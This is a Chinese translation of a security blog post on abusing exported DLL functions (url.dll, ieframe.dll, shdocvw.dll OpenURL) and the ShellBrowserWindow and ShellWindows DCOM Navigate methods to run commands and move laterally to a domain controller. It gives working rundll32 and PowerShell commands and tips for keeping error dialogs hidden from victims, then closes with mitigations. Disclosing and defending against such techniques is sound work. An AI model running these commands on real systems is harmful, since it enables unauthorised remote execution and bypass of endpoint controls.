利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透

Editor發表於2018-05-25

背景介紹


上週三,我利用休息時間翻了翻\System32 目錄,看能否找點兒什麼。結果發現,有幾個dll 檔案匯出了相同的函式OpenURL:

利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透

想著旗開得勝,能否簡單呼叫一下呢?果然,url.dll 可以允許使用下面的命令執行HTML 應用(.hta):


rundll32.exe url.dll,OpenURL "local\path\to\harmless.hta" 

rundll32.exe url.dll,OpenURLA "local\path\to\harmless.hta"


利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


在幾個功能測試之後,我(貿然地)把這個發現發到Twitter 上。很快便收到回覆,這些回覆很有指導性,也讓我無地自容。一方面,我本應該執行更多的測試進而深入理解發生了什麼,而不是想著發到Twitter 上。另一方面,一些來自該領域的最優秀的人似乎幾分鐘就把這個問題給分好類了。非常感謝@subTee, @r0wdy_和@Hexacorn的快速分析。


簡而言之,HTA檔案是被MSHTA 呼叫的。這條Twitter (https://twitter.com/Hexacorn/status/974063407321223168)描述得很清晰:

“OpenURL/OpenURLA/FileProtocolHandler 呼叫了ShellExecute 函式,並傳入了一個引數NULL(譯者注:指的是lpOperation引數)。該函式會到登錄檔中查詢預設的處理方式,由於引數為NULL,它會依次嘗試使用“預設值、open、第一個可用的行為”。

” - @Hexacorn


使用OpenURL 執行穿透命令


如上所述,\SYSTEM32 目錄下有三個dll 都匯出了OpenURL 函式:

url.dll

ieframe.dll

shdocvw.dll (ieframe.OpenURL)

@Hexacorn寫了一篇文章描述如何呼叫ieframe.dll, shdocvw.dll和url.dll。

通過.url 檔案,可以在呼叫對應dll 時執行穿透命令:


URL樣例檔案(calc.url)內容:

[InternetShortcut]

URL=file:///c:\windows\system32\calc.exe


呼叫樣例


rundll32.exe ieframe.dll, OpenURL <本地URL 檔案路徑>

rundll32.exe url.dll, OpenURL <本地URL 檔案路徑>

rundll32.exe shdocvw.dll, OpenURL <本地URL 檔案路徑>


執行結果:


利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


IWebBrowser2 介面的匯出函式


Shdocvw.dll 和ieframe.dll 具有一些同名函式,其中包括IWebBrowser2 介面,如下圖所示:(譯者注:使用DLL Export Viewer 開啟對應dll 時,開啟“Scan COM type libraries、Show methods、Show properties”即可檢視到。)


利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


這就很有意思了,因為我還在其他地方看到了IWebBrowser2 介面和其他介面的類似實現——主要是DCOM 應用(譯者注:DCOM是指Distributed COM,DCOM無法通過防火牆)。


利用IWebBrowser2 介面實現DCOM橫向滲透(Lateral Movement)


下面這些DCOM 應用(也許還有更多)似乎都提供了IWebBrowser2 介面(或類似介面):

InternetExplorer.Application

ShellBrowserWindow

ShellWindows

讓我們深入分析一下……

注意:在深入之前,我強烈建議大家閱讀@enigma0x3的部落格(https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)瞭解必要的背景知識,有關DCOM橫向滲透技術、啟動許可權和防範措施等。


InternetExplorer.Application


概述——在我的測試用例中,該應用無法實現橫向滲透。然而,所使用的背景知識對於後續閱讀是很有幫助的。在上述的這篇文章(www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/)中,@Hexacorn描述了ieframe.dll 中的一個先前的漏洞(CVE-2016-3353)。通過一個特殊標記,.url 檔案可以在不彈出安全警告的情況下,直接由ShellExecuteEx執行。(注:分析該漏洞的連結也在那篇文章中)。幸運的是,該漏洞已被修復。正如IE的常規應用一樣,我們當然預期在下載或開啟一些檔案(例如,.url、.hta、.exe 等檔案)時產生安全警告(常說的,“安全性檢查”)。

當使用 iexplore.exe 例項執行測試用例時,IE safeguards 會阻止“通過DCOM 介面”執行遠端命令。


ShellBrowserWindow


@enigma0x3 的文章介紹了 ShellBrowserWindow 對外提供的 ShellExecute 方法,使用該方法執行遠端命令,實現橫向滲透。而我們則可以在繞過IE 瀏覽器安全限制的情況下,通過 IWebBrowser2 介面中的 Navigate 和 Navigate2 方法執行遠端命令。

在後續樣例中,我們將使用下面的這些 PowerShell 指令碼的變體:


$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate("<path\to\thing.extension>")


以及


$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate2("<path\to\thing.extension>")


在繼續分析之前,請注意以下內容:

“C08AFD90-F2A1-11D1-8455-00A0C91F3880” 是ShellBrowserWindow 的Class ID (CLSID)。

“9BA05972-F6A8-11CF-A442-00A0C90A8F39” 是ShellWindows  的Class ID (CLSID)。

通過DCOM 連線遠端機器需要許可權認證。這通常意味著攻擊者已經獲得了具備合適許可權(“啟動”許可權)的授權賬戶。此時,我們(攻擊者)將通過域管理員賬戶從一臺Windows 10 機器[網域成員]訪問一臺Windows 2012 Server機器[網域控制器]。

在我的環境中連線Win10 和Win2016 機器時,該方法似乎沒有效果。

後面的樣例採用PowerShell v5 的指令碼。在PowerShell v2中執行樣例,也成功了。

避免在Navigate/2  方法中使用命令開關。(譯者注:命令開關是指一些程式的引數開關,常見的開關以連字元“-”或斜線“/”開頭)

嘗試呼叫“檔案”以外的內容將彈出錯誤訊息。如果受感染的使用者賬戶已經登入到目標機器,該錯誤訊息是可見的。因此,要將那些攻擊內容包裝起來。

避免呼叫HTA(.hta)檔案,因為呼叫這些檔案將彈出安全性提示框。

避免基於HTTP/S傳遞遠端有效載荷(譯者注:payload,有效載荷,是指HTTP 協議中的具體傳輸資料)。因為這將彈出一個IE視窗,而不是去獲取資料。然而,可以使用UNC路徑(譯者注:UNC是指Universal Naming Convention,UNC路徑的語法是\\\\servername\\sharename\\directory\\)。


接下來看看這種橫向滲透的能力:

在網域成員機器上通過可執行程式(.exe)實現“橫向滲透”


$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")


利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


在網域控制器上:

利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


通過URL檔案(.url)“橫向滲透”


URL 檔案:


[InternetShortcut]

URL=file:///c:\windows\system32\calc.exe


在網域成員機器上執行:


$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("\\acme01.acme.int\c$\calc.url")

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("\\acme01.acme.int\c$\calc.url")


利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


在網域控制器上:

利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


在Procmon 程式中,開啟stack 皮膚,可以看到一些熟悉的模組和函式。(譯者注:通過Procmon 檢視calc.exe 程式建立的事件,選擇與檔案c:\windows\system32\calc.exe 有關的事件,可以檢視到類似的視窗)


利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


ShellWindows


與ShellBrowserWindow相似,ShellWindows也對外提供了ShellExecute方法。下面快速展示一下如何使用Navigate/2方法執行遠端命令。

本例中,使用如下PowerShell 指令碼:


$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")


以及


$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")


執行完這些命令後,得到如下輸出:

利用“匯出函式和DCOM介面”執行穿透指令、實現橫向滲透


哇!太有意思了!目前,該方法還需要更多測試,不推薦直接使用。儘管如此,這個方法還是十分優雅的。

本文簡要說明了使用“IWebBrowser2” 的  Navigate/2 DCOM 介面進行橫向滲透的方法。這些方法也許不像其他橫向滲透方法那麼靈活,但是仍然可以被RedTeam (譯者注:在軍事術語中,Red Team指的是高技能、有組織的團隊,使用任何可能的方法發動攻擊)或攻擊者使用。和往常一樣,防守者們需要留意這些攻擊方法。


這有一些小建議:


防範措施


針對穿透指令執行:

許多“穿透”指令技術都嘗試繞過終端安全和/或應用白名單。採用強安全策略。考慮採用@Oddvarmoe提供的安全策略“AppLocker Hardening Rules”(https://github.com/api0cradle/UltimateAppLockerByPassList/tree/master/AppLocker-BlockPolicies)。

通過HTA、VBS 或JS 執行的COM 指令碼攻擊很常見,也很危險。考慮修改這些應用的預設處理程式(如修改為記事本)。Adobe公司的這份指南也許有助於GPO部署(譯者注:GPO,Group PolicyObject,組策略物件)。

在企業網路環境中,使用事件日誌分析突發事件是很關鍵的。將事件提交到SIEM(譯者注:SIEM,security information and event management,是電腦保安領域的術語)進行統一監控。


針對橫向滲透:

通常,防禦方應識別@enigma0x3提供的入侵威脅指標(IOC,譯者注:Indicator of compromise,是計算機鑑識領域的術語)。同時,Philip Tsukerman 撰寫了一篇文章(https://www.cybereason.com/blog/dcom-lateral-movement-techniques),其中有很好的建議。

使用這些DCOM 方法需要對於遠端計算機的特權訪問。保護具有特權的域賬戶。避免在本地計算機賬戶上使用重複的密碼。

確保“深度防禦控制、基於主機的安全產品、主機監控”可用,以便檢測/阻止可疑活動。

檢測環境中對於PowerShell 指令碼的可疑應用。儘可能的採用受限語言模式(Constrained Language)。(注:對於特權賬戶,這也許難以實現)。


總結


感謝大家花時間閱讀本文。歡迎留言。



原文連結:

https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/

編譯:看雪翻譯小組yezhang

相關文章